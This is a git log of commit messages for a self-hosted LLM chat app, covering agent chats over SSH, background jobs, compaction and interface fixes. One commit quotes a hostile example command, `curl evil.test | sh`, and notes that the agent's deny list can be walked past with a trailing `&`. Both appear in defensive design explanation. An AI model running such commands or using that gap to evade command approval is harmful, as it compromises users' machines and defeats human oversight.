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Jaroslav Beneš e9fab9d858 A job that finishes reaches the page you are looking at
Three complaints, all downstream of background commands.

A finished job woke the model and not the browser. `jobs.wake` writes the
completion and calls `generation.ensure`, and nothing tells the page: the only
stream here is per-message, opened by the `sse-connect` on an incomplete
assistant bubble -- which is a bubble this page has not got, because the reply
that created it began somewhere else. `_queue_frames` proves the swap works and
can only ride a stream already open. So the reader sat on the chat, watched the
sidebar dot light up for the chat in front of them, and had to click it or
reload to see a reply that had been there for minutes.

`GET /api/chats/{id}/tail?after=` and a five-second poller is the answer, polled
for the reason `/unread` is: a second always-on connection per tab is a lot of
machinery for something that happens a few times a day. A cursor it cannot place
-- absent, from another chat, naming a row a rewind deleted -- is answered with
204 and never with the transcript, which the page still holds every bubble of.
The cut is read from the row so `_inject`'s restamp moves it too, and compared in
SQL, a row read back from SQLite being naive where one still in the session is
aware; the `id >` tie-break is not decoration, since under a bare `>` a row
sharing the cut's microsecond is skipped for ever.

The cursor comes from the DOM, because the DOM is the honest answer to what the
page has -- the composer's POST, the `done` frame and the last poll all move it,
and a variable would have to be updated by each of them, correctly, for ever. On
`htmx:configRequest` rather than `hx-vals="js:…"`: two of the three things that
handler does are cancellations, which `hx-vals` cannot express. Not
`article.msg:last-of-type` either -- that is per-parent, so on a compacted chat
it answers with the last article inside the `<details>` and the poll re-appends
half the conversation. It is silent while a reply streams, since that reply
delivers its own bubbles in the one frame that can get the order right, and a
`htmx:beforeSwap` listener drops any answer holding a bubble already on the page:
the race `hx-sync` cannot reach, and a duplicate there is a second `sse-connect`
for one message rather than a cosmetic one. The route clears `unread` on every
tick including the 204, because `_persist` marks a reply unread whenever
`followers == 0` and that is true of a job-woken reply with somebody watching it.

The completion also claimed the reader had sent it. The role is load-bearing --
`_inject` sends a queued turn verbatim and `build_messages` must keep seeing a
user turn -- so `Message.machine` marks the bubble instead and the request is
untouched. Their initial, their name and a pencil offering to rewrite what a
machine reported: the route refuses the edit too, a hidden button being a
courtesy. `_completion_text` is deliberately unchanged, `tool.background` quoting
its opening sentence to the model, and there is now a test holding the two
together.

And the panel. `.jobs__row` had no horizontal padding while `.picker__menu` has
none either, so every row ran flush into the border under a header inset by
--sp-3. `jobs__row--open` had been emitted since the panel shipped with no rule
anywhere, so the row whose log was on screen looked like the ones that were not.
The dot was keyed on `status`, and `done` is exit 0 and exit 2 alike -- green
beside the row's own "Failed, exit 2" -- so `JobView.tone` answers the colour and
the template goes on answering the wording, which is the half a class name cannot
carry. `duration` is empty for a running job on purpose: this panel is fetched
when somebody opens it and never polled, so a live figure would freeze the
instant it painted. Its stamps are normalised before subtracting, a job started
before a restart and finished after it having one naive and one aware.

Driven under the DOM stub before committing, per the standing rule: two listeners
on document.body for events dispatched at a requesting element are exactly the
shape a regex cannot check.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-05 12:19:07 +02:00
Jaroslav Beneš 7df68eb44c A reply you can read while it is still being written
Seven things, and the thread running through them is that the machinery was
right and what a person saw of it was not.

Auto asked about every compound command. `policy.subject` refuses to let any
pattern match a line carrying a shell metacharacter -- correct, and the whole
reason `git *` cannot also mean `git status; curl evil.test | sh` -- and a rule
on top of that asked whenever a deny list existed at all. The shipped deny list
is non-empty, so `cd build && make` and `pytest | tail` both stopped for
approval in the one mode whose purpose is not stopping. Nobody read that as a
security control; they read it as Auto not working. It is gone, and what it
costs is written down beside it and under the admin field: a deny pattern can be
walked past with a trailing `&`. Matching each segment would restore both.

A forty-round agent reply rendered as three zones -- all the thinking, then
every tool block, then all the prose -- which is fine at two rounds and
unreadable at forty. `Message.steps_json` is a table of contents over the three
stores rather than a fourth copy of any of them, so `build_messages`, compaction
and titling still see one string. No marks means the old layout, which is what
every existing row reads back, with no version flag and no branch in the
template.

Nothing could be expanded while a reply streamed, and that was two faults. The
tool list was replaced wholesale twelve times a second, so an opened block shut
itself within 80ms; the ids are stable now and steps.js puts them back, across
the final swap as well. And the thread snapped to the bottom on every frame, so
a block that did open was scrolled off -- opening one now stops it following
until you scroll back down yourself. Both driven under a DOM stub before
committing, per the note in CLAUDE.md.

The metrics were never wrong, which is why this looked like arithmetic and was
not. One chip is what the reply cost and the other is what the conversation
occupies; on a multi-round reply those differ by a lot and neither said which it
was. What was broken is that they stood still -- usage arrives once a round, and
`reported or estimated` stops consulting the estimate the moment the first chunk
lands -- and that the `~` marking an estimate vanished at exactly the point
everything became one. Interpolated between counts now, never over them.

Background jobs had no surface at all. A chip counting what is still running and
a panel with each job's command, state, log tail and a Stop button; the fifth
exception to "the modes govern the model, not the interface", for the reason the
other four are.

file_edit had two faults worth more than the error text. A file it could not
read was reported to the model as an empty one, and a file too large to read
whole was patched and written back by a call that replaces -- deleting
everything past the ceiling, silently, and reporting success with a byte count.
Both refused now. A refused hunk also prints the file around where it landed,
which is most of the retry loop these models get into.

And a model can talk itself to a standstill: a round with no tool calls is a
model saying it has finished, so pages of "Ready? GO! ... Wait ... Actually ..."
ended the reply having done nothing. `core.commit` is the prompt half and a
second nudge signal is the other, narrowed to a long reply that touched nothing
so that finishing is never argued with.

Also: the scope menu is called Toggle and no longer offers to type an `@` for
you, and "Always allow this" says when it has stored nothing rather than
appearing to work.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-04 19:02:07 +02:00
Jaroslav Beneš fd4db76c64 Files, open beside the conversation
A third side panel, built the way the terminal is and filled the way the
inspector is: tabs holding open files. Project files over SFTP in an agent
chat; notes, skills, knowledge documents, this chat's text attachments and its
own scratch document everywhere. Read with pygments, edited in a plain
textarea, saved with a conflict check.

A bug found on the way in, and the reason this needed its own read path.
`ssh.read_file` ends in `clean_output`, which strips ANSI escapes and decodes
with errors="replace" -- right for the output of a command, and fatal for an
editor: open a file containing an escape byte, press Save, and you have
silently rewritten it with the escapes gone and every undecodable byte replaced
by U+FFFD. `read_text`/`write_text` decode strictly, report binary rather than
mangling it, carry an mtime:size token for a file that moved underneath, and
refuse an oversize write rather than truncating -- `write_file` truncates
because a model is told how many bytes it wrote, and somebody pressing Save is
not. The model-facing pair is untouched: what it returns is a contract a model
has been shown. A truncated read opens read-only for the mirror-image reason.

Six sources go through one dispatch table, for the reason tool_labels.py is a
table: six independently written permission checks is how one ends up written
slightly differently, and that failure looks like editing somebody else's note.

A save on a project file bypasses agent/policy.py, which makes it the fourth
documented exception to "the modes do not govern the keyboard" and the first
that writes. Same argument as the terminal panel -- whoever owns the credential
could write the file with scp -- but the consequence is larger and is now said
out loud rather than left to be inferred.

The model opens tabs from the file tools it was already calling, so no new
schema and no tokens. It never brings one to the front: an agent reads forty
files in a long reply, and taking the screen each time would drag somebody
through all of them and lose any edit in progress. Only the strip is streamed,
guarded on truthiness so the frame can never blank itself -- an empty one would
close every open tab, the approval card you could press twice with the sign
reversed. Both halves are settled on the server, which is why canvas.js needs
no guard against a swap at all.

No vendored editor. CodeMirror 6 needs a bundler, which is hard rule 1;
CodeMirror 5 would be a larger payload than xterm on every page, and xterm is
the one heavy dependency precisely because it loads only where it can be used.
So: server-rendered highlighting for reading, a textarea for writing, and the
panel says there is no colour while you type rather than pretending.

Also here: a scratch document per chat, with `scratch_write` at RISK_READ on
plan_update's argument, and a test pinning the three numbers that decide a
panel's width -- LAYOUT_BOUNDS drops an unknown variable silently, so a panel
missing from it has a drag handle that works and forgets.

Driven under a DOM stub and against the running application.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-04 09:21:03 +02:00
Jaroslav Beneš b602657450 A folder that carries something, and a way to name one
A folder was a name and nothing else -- and not even that, since PATCH could
rename one and nothing in the interface ever called it. It now carries a
description, a system prompt, and seeds for the model, the kind and the agent
target, with a settings page behind the row.

The prompt is a fourth rung on the ladder, chat > folder > model > instance,
and it goes above the model deliberately: a model's prompt describes the model
wherever it is used, a folder's describes this piece of work whichever model
is pointed at it. It is read when a reply is built rather than copied when a
chat is made, so editing it reaches the chats already there, and the walk up
the parents is bounded and cycle-safe because it runs on the request path.
`api/pages.py` mirrors the ladder for the settings panel and had to gain the
same rung -- a panel naming the wrong source is worse than one naming none,
because it is believed.

The seeds fill in what the request left empty and nothing it filled in: the
folder says what this work usually needs, the screen in front of somebody says
what they want this time. `ssh_profile_id` is a plain string rather than a
foreign key, for the reason `compacted_through_id` is, so it is validated on
read.

Getting *into* a folder needed fixing too. `/api/chats/start` has accepted a
folder_id since folders existed and nothing ever sent one, so the only route in
was to make the chat elsewhere and move it. There is a New chat here on the row
now, and `?folder=` on the new-chat screen.

Naming is a themed dialog, and deliberately not htmx's hx-prompt: htmx calls
the browser's prompt() synchronously and only then fires htmx:prompt with the
answer already in hand, so intercepting the event cannot supply a different one
and the grey box appears anyway. `data-prompt` follows the data-confirm-button
shape instead -- swallow the click, ask, write the answer into hx-vals,
click again behind a guard. JSON.stringify rather than concatenation, or a
folder called `"` produces hx-vals that does not parse and the rename silently
does nothing. Driven under a DOM stub, and there is a test that no template
brings hx-prompt back.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-04 08:30:49 +02:00
Jaroslav Beneš 9c61e40662 Two kinds of work, and a switch to say which
The sidebar rendered an agent chat and an ordinary one identically, in one
list, so hours of machine work sat among a morning's questions. A switch
below the pinned models now shows one kind at a time, stored on the account
so it follows the reader to another browser.

Three things it does that are not the obvious version:

The switch is inside the fragment it swaps. Targeting only the tree would
leave the two buttons showing the side you had just left -- the request
works and the interface says otherwise, which is the failure this codebase
keeps cataloguing.

A folder can be emptied by the filter, or have been empty all along, and
only the first is a reason to hide it. `shown_in` is that line: a folder
somebody made a moment ago and has not filled yet stays on both sides, or
it can never be found again, let alone filed into.

With agent chats switched off there is no switch, and the sidebar goes back
to showing everything rather than to one side of a fork nobody can move.
An administrator turning the feature off would otherwise strand whoever
last left the switch on Agents in an empty sidebar with no way out.

The control reuses the composer's `.segmented`, which is the same choice in
a different place, and the verb goes on the input rather than the wrapper.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-04 08:19:17 +02:00
Jaroslav Beneš 816f2ae957 A menu for what a chat may use, and three keys
Six smaller things, all of them about the interface not saying what is true.

The @ button only ever inserted the character, which the @ key already does
without a button. It becomes the scope menu: what this chat may use, switched
off per chat. Chat.scope_json is filtered inside resolve_tools AFTER the
capability, permission and instance gates -- exactly as chat.knowledge_bases
narrows knowledge_search -- so a crafted POST turning something on reaches a
tool the gates already removed, and there is a test that writes the column
directly to prove it. Absent means on, for every key, so "why is this off?" has
one answer. It is keyed on the gate rather than the tool name, so notes is one
switch rather than five. The switches carry no role="menuitem", deliberately:
ui.js closes a picker when a menuitem is clicked, which is right for an action
menu and wrong for a list you want to set several of -- which is why the menu
needs no JavaScript at all. Typing @ is untouched.

With no skills, nothing should mention them. tool.skills was gated on the family
alone, so somebody with an empty library was told "the list below gives each
one's name" above no list, handed skill_get, and watched the model spend a round
finding out. It requires skills now; the writing half moved to
tool.skills_write, which is deliberately not gated, because saving the first one
is what somebody with none most needs. And core.tool_list finally reads
tool_names, which had been resolved and documented with no fragment using it.

The composer's toolbar is one row again. .composer__actions is last in the DOM
with margin-left:auto, so the moment an agent chat added a connection, a
directory and a mode, Send and the microphone dropped to a second line.
chat.css has no media queries by design and the fix is not to add one:
.composer__context is the single child allowed to shrink and scroll sideways.
There is a test asserting the file still contains no @media.

The effort picker shows the level in force. "Effort: default" named no level and
was true of nothing in particular; chat.resolved_effort is the chat's own value
and build_request reads the same field, so what is shown is what is sent. The
model's default is a seed, copied onto the row at creation and on a model
change, and never consulted at request time -- a fallback would resurrect it
underneath a cleared effort and make "off" silently do nothing. "off" is a
sentinel and not an empty value, because start_chat declares Form("") and cannot
tell absent from empty: with value="" the reader picks off and gets high.

Alt+M dictates, Alt+R reads the last reply aloud, Ctrl+Enter sends from
anywhere. All three click the button that already does the job, so audio.js
keeps its one delegated listener. Alt+M and not Alt+D, which is the address bar
in Chrome and Firefox. Ctrl+Enter never means Stop -- Send and Stop are the same
element, and Esc already stops. Driven under a DOM stub before committing, per
the rule in CLAUDE.md, and tests/test_commands_js.py pins that every key has a
row in SHORTCUTS, since /help reads that list.

And the memory tooling, which had seven defects. The worst: memory_forget was a
case-insensitive substring first-match delete with nothing warning about it, so
forgetting "coffee" against "Drinks coffee black" and "Allergic to coffee"
silently removed whichever was older -- a wrong deletion nobody would ever find
out about, from a tool whose description invited exactly the short fragment that
misfires. It matches exactly first, then by substring, and refuses an ambiguous
one while naming what it matched. add() refuses an exact duplicate. The
at-the-limit refusal no longer tells the model to delete one to make room: past
the block's budget it is not shown all of them and would be guessing, which
feeds straight back into the first defect. And context.memories no longer claims
the memories "still apply", which nothing checks and which taught a model to
trust a stale one over what the person had just said.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-03 11:22:03 +02:00
Jaroslav Beneš 4b8fd6bad2 A plan it can see is a plan it can keep
Plan mode produced a flat list of steps and then forgot it. Nothing told the
model to look before proposing, nothing let it ask when the scope was
ambiguous, and -- worst -- once execution started the plan was not in the prompt
at all, so it could not have kept it current if it had wanted to.

The shape is findings, objectives and phases of tasks now. Findings are the part
people skip and the part that makes a plan worth reading: what is actually
there, what surprised you, what the plan is working around. Plan mode is told to
research first and to ask with ask_user when the scope is genuinely ambiguous,
in one question rather than three.

steps is still always written, flattened from every phase in order. That is the
whole of the compatibility story: execute_plan reads it and needed no change,
and every row already on disk still works. services/plans.py:normalise is the
only place that knows version 1 existed -- a {title, steps} row comes back as
one phase, so the card, the harness and the Execute button have one shape to
deal with rather than two.

Chat.plan_message_id is what puts the plan in front of the model each turn, with
one primary-key lookup rather than a scan for "the newest message carrying a
plan" -- context_variables is synchronous and sits on the request path.
plan_update is offered only once there is a plan, because a tool for changing
something that does not exist costs a round to find out.

It is RISK_READ, and that sits in tension with notes_edit being RISK_WRITE, so:
risk is what a tool does to the world, and the world the four modes govern is
the machine. This cannot touch it. RISK_WRITE would put an approval card on
screen every time a task was ticked off -- four cards to carry out a four-task
plan, each approving a bookkeeping entry -- which is exactly the interruption
batching exists to prevent. A note is a durable artefact of the reader's that
outlives the chat; this is the chat's own record of what it is doing, nearer to
generation.status. An administrator who disagrees puts it in deny_default.

One thing that nearly went wrong quietly. A runner cannot write the message row,
since _persist is the single writer -- so plan_update returns the merged plan on
its event and the loop carries it. Both calls in a round would then have read
the same stale plan from the database and the second would have won. They merge
into AgentContext.plan instead, the snapshot seeded once when the context is
resolved. Both tools write event["plan"] so _persist stays one writer with one
rule; only plan_submit sets plan_final, which is what withdraws the tools.

The card does not re-render in place. The newest bubble carries the current plan
and older ones carry the plan as it was then -- that is what a transcript is
for, it needs no streaming machinery, and it makes "what did it think at step
three" answerable.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-03 11:14:34 +02:00
Jaroslav Beneš 8a3a225fea Two selects that never wrote anything, and a queue
The approval card in Auto mode and the missing /effort were one bug. Both
selects hung their hx-patch on an empty sibling form reached by form="…",
and htmx binds a trigger to the annotated element: change fires on the
select and bubbles to its ancestors, which a sibling is not. The live rows
read agent_mode=manual and params_json={} while the browser showed Auto and
Effort: high. policy.py was never involved.

The verb moves onto the control; the empty form stays as value scoping,
which is the half of the CLAUDE.md note that was right. conftest gains
control_named so a test asserts the element carrying the name carries the
verb, rather than asserting the markup that was there throughout.

The composer's highlight was a third instance of the same carelessness in
CSS: .tok-mention is written for the transcript and scoped to nothing, so
the mirror painted its token in accent-coloured monospace over the
textarea's own text. Scoped under .msg; the mirror restates transparency
and font rather than inheriting them, and bleeds by box-shadow.

/effort is now offered before the first prompt and _new_chat reads it.
/index re-walks the project directory on demand, file_write drops the
listing it just invalidated, and the index ladder falls through to SFTP on
a host that refuses exec instead of returning nothing.

A second message during a reply is queued rather than starting a second
concurrent generation: a real Message row with queued set, so it survives a
restart and can be withdrawn. _drain hands one on at the end of a reply,
_inject takes one in at a tool-round boundary so an agent can be steered
mid-task. Stop leaves the queue undelivered. The terminal's Auto toggle
becomes off/copy/send, and send posts straight to the chat without touching
the composer.

@ now offers notes, skills, this chat's attachments and a URL to fetch; a
knowledge base attaches as a reference rather than a copy. copy_document
carries provenance, which was the one attach path that dropped it.

Also fixes an unrelated live bug: the round loop compared against the
global MAX_ROUNDS of 3 while sizing itself from the agent budget of 40, so
agent replies stopped after three rounds and reported forty.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-02 19:49:34 +02:00
Jaroslav Beneš 4ced049ff8 SSH connections, kept by the people who own them
An agent chat will act on a machine you choose, so this is the screen where
you choose it. User-owned like a note, not admin-owned like a connection:
these are somebody's own machines and somebody's own keys, and "anyone in
this group may log in to my server" is a different feature with a different
blast radius. services/sharing.py is deliberately not involved either --
sharing grants reading, and a host somebody else can read is a host they
can log in to.

Trust on first use, made explicit rather than assumed. Adding a host does
not connect to it. Check looks at its key and shows you the fingerprint;
nothing is sent until you accept, because get_server_host_key completes the
key exchange and stops -- no username, no credential. Accepting pins it,
and a host that later presents a different key is refused with the reason
rather than quietly trusted. Moving a profile to another host or port
forgets the pin, since a key belongs to the machine it came from.

Four asyncssh defaults are actively wrong here and all four are passed
explicitly: every LLeMbas user shares one unix account, so `known_hosts`
would be a shared trust store, `client_keys` would authenticate one person
with another's key, `config` would let a ProxyCommand redirect the
connection, and `agent_path` would silently use $SSH_AUTH_SOCK. There is a
test for exactly that, and it needs no server.

Files go over SFTP rather than through a shell. The SSH exec protocol
carries one command *string* that the far side parses, with no argv form at
all, so a model-supplied path in a command line is unavoidably a quoting
problem. Over SFTP a path is a path.

Chat gains its kind, connection, project directory and mode; the first
three are fixed once a chat has a message, because a transcript whose
earlier turns ran somewhere else is not one conversation.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-01 22:34:58 +02:00
Jaroslav Beneš 17f3fa1946 Compaction: a button, and automatically when the window fills
A long conversation eventually just stops working. Compaction summarises the
earlier turns and sends the summary in their place.

The messages are kept. They stay in the transcript behind a collapsed
divider and simply stop being part of the request, which is what makes the
button safe to press and automatic compaction safe to have at all: a summary
that came out badly is a bad turn, not a lost conversation.

Stored on the Chat, not as a synthetic Message. A synthetic row needs a
role -- `system` breaks the one-system-message rule the moment build_messages
emits it beside the harness, and user/assistant makes it a turn people can
edit, regenerate from and copy, indistinguishable from a real one in all
four places a bubble is rendered. Worse, "editing rewinds, it does not
branch" would silently delete it and leave no marker that compaction had
happened at all.

The summary goes out as a user turn and an assistant turn, not one. A
leading assistant breaks templates requiring the first non-system message to
be user; a lone leading user produces user, user whenever the kept history
starts on a user turn -- which it always does, because the cutoff lands on a
finished reply.

compacted_through_id is a plain id rather than a foreign key: migrations.py
compiles only the column type, so a REFERENCES clause would exist on a fresh
database and not on an upgraded one, and a constraint half the fleet has is
worse than none. cutoff_message validates it on every read instead, and a
rewind past the boundary clears it.

Compacting again summarises only the delta, with the previous summary
supplied to be subsumed. Re-summarising the whole chat each time grows
quadratically and eventually exceeds the window it is protecting.

Automatically at the top of _run, not in post_message: that route's contract
is to return immediately and leave the slow part to a resumable connection,
and it also means build_request is called once, after compaction, with no
second assembly path. The trigger is the last reply's recorded usage plus an
estimate of the new turn -- retrospective because true prompt_tokens are only
knowable after a response, plus the delta because otherwise fifty thousand
characters pasted into the composer overflow a window that read 90% last
turn. It never fires when the context length is unknown. It does fire on
estimated counts, which is safe here precisely because nothing is lost.

_maybe_compact never raises: a failure logs and sends the uncompacted
request. A `status` event says "Summarising earlier messages…" in the
meantime, because a silent multi-second pause before the first token is what
a hang looks like.

The wording is three fragments under Admin - Prompts. Clearing task.compact
turns compaction off entirely.

Also adds compaction.moment(): SQLite does not store the offset, so a row
loaded from disk is naive while one in the session's identity map keeps its
tzinfo, and comparing the two raises. Every comparison here is between
exactly those.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-01 01:02:02 +02:00
Jaroslav Beneš 09eecbdd9a Temporary chats
A clock in the top-right starts one. It is never listed in the sidebar and
is swept a day after the last thing said in it.

A real row rather than something held in the browser, because a reload, a
crash or a background tab all look identical from here -- "delete when you
navigate away" would lose conversations people meant to keep. The flag rides
in the URL (/chat?temporary=1) rather than in JavaScript, so it survives a
reload and can be bookmarked, and the composer carries it as a hidden field
beside model_id.

Keep clears the flag. Without a way out, a conversation that turns out to
matter is destroyed a day later with no recourse, and people would find that
out exactly once.

archived was filtered in three places and temporary mirrors all three, plus
Folder.visible_chats. It also skips the unread flag in _persist: there is no
sidebar row for the dot to land on, and the toast would name a chat nobody
can navigate to.

The sweep measures age from the newest message, not from the chat row.
created_at would destroy a conversation still in use at hour 23, and
updated_at does not move when a message is inserted -- onupdate fires on an
UPDATE of the chat, and adding a message is not one. It runs at startup
beside the existing upload sweep.

Deleting a chat cascades its rows but leaves the files on disk; only the
orphan sweep unlinks anything, and it looks only at uploads that were never
attached. files.remove_files_for_chats() closes that for the new sweep. The
same hole in delete_chat is pre-existing and left for its own change, which
can now call the same helper.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-01 00:45:03 +02:00
Jaroslav Beneš ec457debb3 Archived chats no longer show inside folders
The unfiled list has filtered archived chats since archiving existed
(api/pages.py). The folder branch went through the ORM relationship, which
filters nothing, so an archived chat kept appearing as long as it was
filed -- and the "Empty" check read the same unfiltered list, so a folder
holding only archived chats would have claimed to be empty while listing
them.

Fixed on the model rather than in the template, as `Folder.visible_chats`.
The loop and the empty check now cannot disagree, because there is one
list and the template binds it once. Ordering matches the unfiled list:
pinned first, then most recently touched.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-01 00:30:08 +02:00
Jaroslav Beneš a0f733063a Knowledge bases, and a file input that lines up
**Bases.** Documents now live in named collections rather than one flat pile,
and a chat can be pointed at particular ones — "answer from the contracts
folder" is a different question from "answer from everything I have ever
uploaded". A chat with none attached still searches everything its owner can
see, because empty means unscoped, not empty.

The harness names the attached bases. Without that the model cannot tell "there
is nothing about this" from "I am only allowed to see one folder", and it
phrases a miss as the former.

**Sharing moves to the base.** A document is visible to whoever can see the base
it lives in, so `Document` is gone from the shareable types and
`documents.visible()` filters through `base_id`. "This folder is the team's" is
the granularity people think in; per-document grants meant answering "who can
see this?" by checking every file. Moving a document between bases changes who
can see it, so the destination has to be one you own.

`Document.base_id` is nullable only because the column had to be added to a
table that already had rows. `sweep_unfiled()` runs at startup beside the
orphaned-upload sweep and files anything predating bases into its owner's
default, which is what makes "always set" true everywhere else.

**The file input.** `.input` gave it a fixed height and horizontal padding, so
the browser's own button sat hard against the left edge while the filename
floated off the centre line. A file input is two controls in one box and
neither inherits anything useful, so it gets its own rule: no horizontal
padding, the button sized to `--control-h` with the divider that separates it,
and the text centred with line-height rather than flexbox, which file inputs do
not lay out reliably.

437 tests, ruff clean.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-07-21 20:00:15 +02:00
Jaroslav Beneš 7456525d19 PWA, one send/stop button, audio in and out, web search as a tool
Four pieces of work.

**Installable.** A manifest carrying the instance name, PWA icons rasterised
from the existing mark at design time, a service worker and a themed offline
page. The worker caches the shell only and bails out on /api/, /auth/, /admin/
and anything accepting text/event-stream -- passing a reply stream through a
worker turns it into one delivery at the end, or nothing. It is served from
GET /sw.js rather than the static mount because a worker's scope is the path it
came from.

**Send and Stop are one button.** They were two, and the hidden one was never
hidden: `.btn` is display: inline-flex, which outranks the browser's own
`[hidden] { display: none }`, so Stop sat permanently beside Send. app.css now
forces the attribute to win -- every control toggled with `hidden` depended on
that -- and the composer renders one button carrying both icons, with ui.js
flipping data-composer-action and the type with it.

**Audio.** Speech to text and text to speech against any OpenAI-shaped
/v1/audio/* endpoint: dictate into the composer, have a reply read out.
Instance settings in Admin, per-reader overrides in Settings, with the voice
list discovered from the server where it offers one. Recorded audio is capped
and never written to disk -- it is not an attachment, it has no owner, and
nothing would ever sweep it.

**Web search, as a tool.** This is the tool loop PLAN.md described as the real
work: one reply is now a bounded sequence of requests rather than one. The model
asks, the tool runs, the result goes back and it is asked again, up to three
rounds. Providers are DuckDuckGo (no setup), SearXNG and Firecrawl.

Two decisions worth stating. Tools are only offered to models flagged `tools`,
because an endpoint without support rejects the whole request rather than
ignoring the array -- the same reason images only reach models flagged
`vision`. And tool results are not replayed as context on the next turn, for the
same reasons reasoning is not: the answer already contains what the model made
of them, and replaying stale results into every later request wastes the window
and reliably sends a small model into a search loop. The sources stay visible in
the transcript instead.

Search results are untrusted third-party text and are treated as such: escaped,
and only http/https URLs rendered as links.

338 tests, ruff clean.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-07-21 17:56:50 +02:00
Jaroslav Beneš de178837b8 Background generation, unread replies, send/stop, PLAN.md
**Replies now run in the background.** Generation was driven by the SSE
request, so navigating away or opening another chat cut the answer off
mid-sentence. services/generation.py owns the work as its own task and
the SSE endpoint merely follows it. Verified: attached briefly, closed
the connection, went to another page -- the reply finished anyway, 832
characters, not marked stopped, auto-titled.

Reattaching works because both `render` and `reasoning` frames now carry
the whole block rather than a delta. A follower arriving late has no
earlier fragments to append to, so deltas would leave it permanently
missing the beginning. Verified: attached six seconds in and the first
frame already contained 517 characters written while nobody watched.

**Unread indicator.** A reply that lands with no follower attached marks
its chat unread; the sidebar polls every 10s for out-of-band dot spans
plus an HX-Trigger that raises a toast. Polled rather than pushed: a
browser sitting on another chat has no connection to the one that
finished, and an always-on channel per tab is a lot of machinery for a
green dot. `unread_notified` stops the same arrival being announced
every tick. Follower count is what decides "was anyone watching", so
reading it as it arrives does not mark it unread -- verified both ways.

**Stop is the send button.** While a reply is being written the send
button becomes a red stop square, found via a MutationObserver on the
thread since the composer and the streaming bubble are far apart in the
document. The in-bubble Stop is gone.

**Attachment border removed.** As asked -- an attachment is a picture,
and the frame only ever drew at the wrong width. The anchor now
shrink-wraps and the img's width/height attributes are overridden so a
small image shows at its own size.

Adds PLAN.md: what is built, what is not, known limits, and the
decisions that look like oversights until you know the reason.

239 tests, ruff clean.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-07-21 14:52:28 +02:00
Jaroslav Beneš a071d8486b Live Markdown, stop, rewind, custom picker, dialogs
Seven things.

**Reasoning starts closed.** The answer is what the reader is waiting
for; the thinking is one click away.

**Image borders.** .attachments__image was a block-level <a>, so its
border stretched the full column around a narrow picture. inline-block,
and the frame is the picture. Same fix for the composer thumbnail.

**Markdown now renders during the stream.** The generator re-renders the
answer so far and sends it as a `render` event at most every 100ms,
swapped with innerHTML, instead of appending escaped tokens and
formatting everything at the end. Re-rendering whole rather than
appending is the point: a list or a code fence is only correct once its
context exists, and partial syntax resolves itself as more arrives.
Measured against a live model: 29 render events, formatting visible from
the first content token.

**Stop button.** A stop request goes into an in-process set the
generator checks between chunks; whatever arrived is kept, because a
half-written answer the reader chose to cut short is still worth having.
Measured: stream ended 0.2s after the request, 1155 characters
preserved, message marked stopped rather than errored. Navigating away
does the same thing via CancelledError.

**Rewind and edit.** Edit one of your own turns and everything after it
is deleted, then the conversation runs on from there. Deliberately not
branching: that needs a UI for choosing between versions, and "go back
and try again from here" is what was asked for. The form states how many
messages will be discarded before you confirm.

**Custom model picker.** A <select> renders only text in an <option>, so
it can never show an avatar. Built from buttons and a hidden input, with
descriptions, capability tags, a filter box past eight models, and
arrow-key navigation written out by hand since there is no native widget
doing it.

**Notification system.** lembas.notify/confirm/prompt in ui.js, built on
<dialog> so focus trapping, Escape and page inertness come from the
browser. htmx:confirm is intercepted, so every existing hx-confirm gets
the themed dialog with no change at the call site; the browser's grey
confirm() is gone from every template.

230 tests, ruff clean.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-07-21 14:33:04 +02:00
Jaroslav Beneš bdce2764b1 File attachments: images for vision, PDFs and text into the prompt
Drag, paste or pick a file in the composer. Images go to vision models
as multimodal content parts; PDFs and text files have their content
extracted and placed in the prompt. Verified end to end against
gemma4-e4b-q8 on llama-swap: given a drawing and a text file, it named
the red square and blue circle and read the number out of the document.

Type is decided by inspecting the bytes, never the filename or the
browser's Content-Type -- a .png full of text is stored as text. Images
are downscaled to 1400px and re-encoded: a phone photo is several
megabytes of base64, which is slow and a large slice of the context
window. PDF text is extracted once, at upload, and stored; re-extracting
per request would let a reply change because a parser was upgraded.

Design points worth keeping:

- Images are only sent to models an administrator has marked `vision`.
  This is not graceful degradation -- most endpoints reject the entire
  request rather than ignoring an image part. A plain text turn stays a
  plain string for the same reason: the list form 400s on endpoints that
  do not implement it.
- Images reach the model as base64 data URIs, not links. A local
  endpoint has no route back to LLeMbas, and a hosted one has no
  credentials for it.
- Non-images are served Content-Disposition: attachment with nosniff, so
  an uploaded .html can never execute in this origin. Stored names are
  random; the uploader's name is a label and never a path.
- Uploads are unbound until the message is sent, which is what lets a
  file be removed beforehand. claim() only takes unclaimed rows owned by
  the sender, so a forged id cannot pull in someone else's file.
  Abandoned uploads are swept at startup.
- A scanned PDF says so rather than silently contributing nothing, and
  truncation is declared to the model in the document tag so it can
  admit it did not see page 400.
- "Here, look at this" with no words is a legitimate turn, so a message
  is only empty when it carries neither text nor files.

Also fixes auto-titling, which read message["content"] as a string and
would have broken on the first multimodal turn.

186 tests, ruff clean.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-07-21 12:19:59 +02:00
Jaroslav Beneš d6c87ac811 Users, groups, permissions, model settings and reasoning display
Four features, plus the schema machinery they needed.

**Schema sync.** The first live instance had data in it, and create_all
only creates missing *tables* -- a new column silently never appeared.
db/migrations.py now diffs the declared models against the database and
